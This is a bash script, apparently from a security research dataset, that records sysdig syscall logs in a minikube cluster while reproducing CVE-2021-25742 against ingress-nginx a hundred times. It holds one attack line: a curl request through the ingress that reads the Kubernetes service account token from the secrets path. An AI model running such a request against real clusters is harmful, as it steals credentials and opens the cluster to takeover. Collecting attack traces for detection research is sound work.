#!/bin/bash

# CVE_ID="CVE-2021-25742"
CVE_ID=$1
RECORD_TIME=15
FILE_NUMBER=1
CONTAINER_ID=$(docker ps -a | grep minikube | awk '{print $1}')

OUTPUT_DIR="/CAShift/Dataset/output/attack/$CVE_ID"

if [ ! -d "$OUTPUT_DIR" ]; then
    echo "Creating Output Dir"
    mkdir -p $OUTPUT_DIR
else
    echo "Output Dir Already Exists"
fi

# get pod id
POD_ID=$(kubectl get pods | grep wordpress | awk '{print $1}')

tmux new-session -d -s attack
tmux new-session -d -s record

# setup ingress env
# kubernetes support IngressClass since v1.19
kubectl apply -f ./deploy.yaml
sleep 5
INGRESS=$(kubectl -n ingress-nginx get svc ingress-nginx-controller | awk 'NR > 1 {print $3}')
    
for i in {1..100}; do

    # change runc version

    # collect system log
    echo "Collecting $i ..."
    record_cmd="sudo sysdig -v -b -p \"%evt.rawtime %user.uid %proc.pid %proc.name %thread.tid %syscall.type %evt.dir %evt.args\" -w $OUTPUT_DIR/$FILE_NUMBER.scap container.id=$CONTAINER_ID"
    tmux send -t "record" "$record_cmd" ENTER

    # sleep to ensure the record is started and log start
    sleep 2
    kubectl exec -it $POD_ID -c wordpress -- logger 'Attack Start'
    bash ./poc.sh
    curl -v -H 'Host: exploit.example.org' "$INGRESS/fs/var/run/secrets/kubernetes.io/serviceaccount/token" --max-time 1

    terminate_cmd="kubectl exec -it $POD_ID -c wordpress -- logger 'Attack Stop' && sleep 0.5 && tmux send -t 'record' 'C-c' ENTER"
    
    # Terminate
    tmux send -t "attack" "$terminate_cmd" ENTER

    kubectl delete ingress ingress-exploit

    FILE_NUMBER=$((FILE_NUMBER + 1))
    sleep 10 && echo "Finish $FILE_NUMBER"
done

# clean up
tmux kill-session -t attack
tmux kill-session -t record

# minikube delete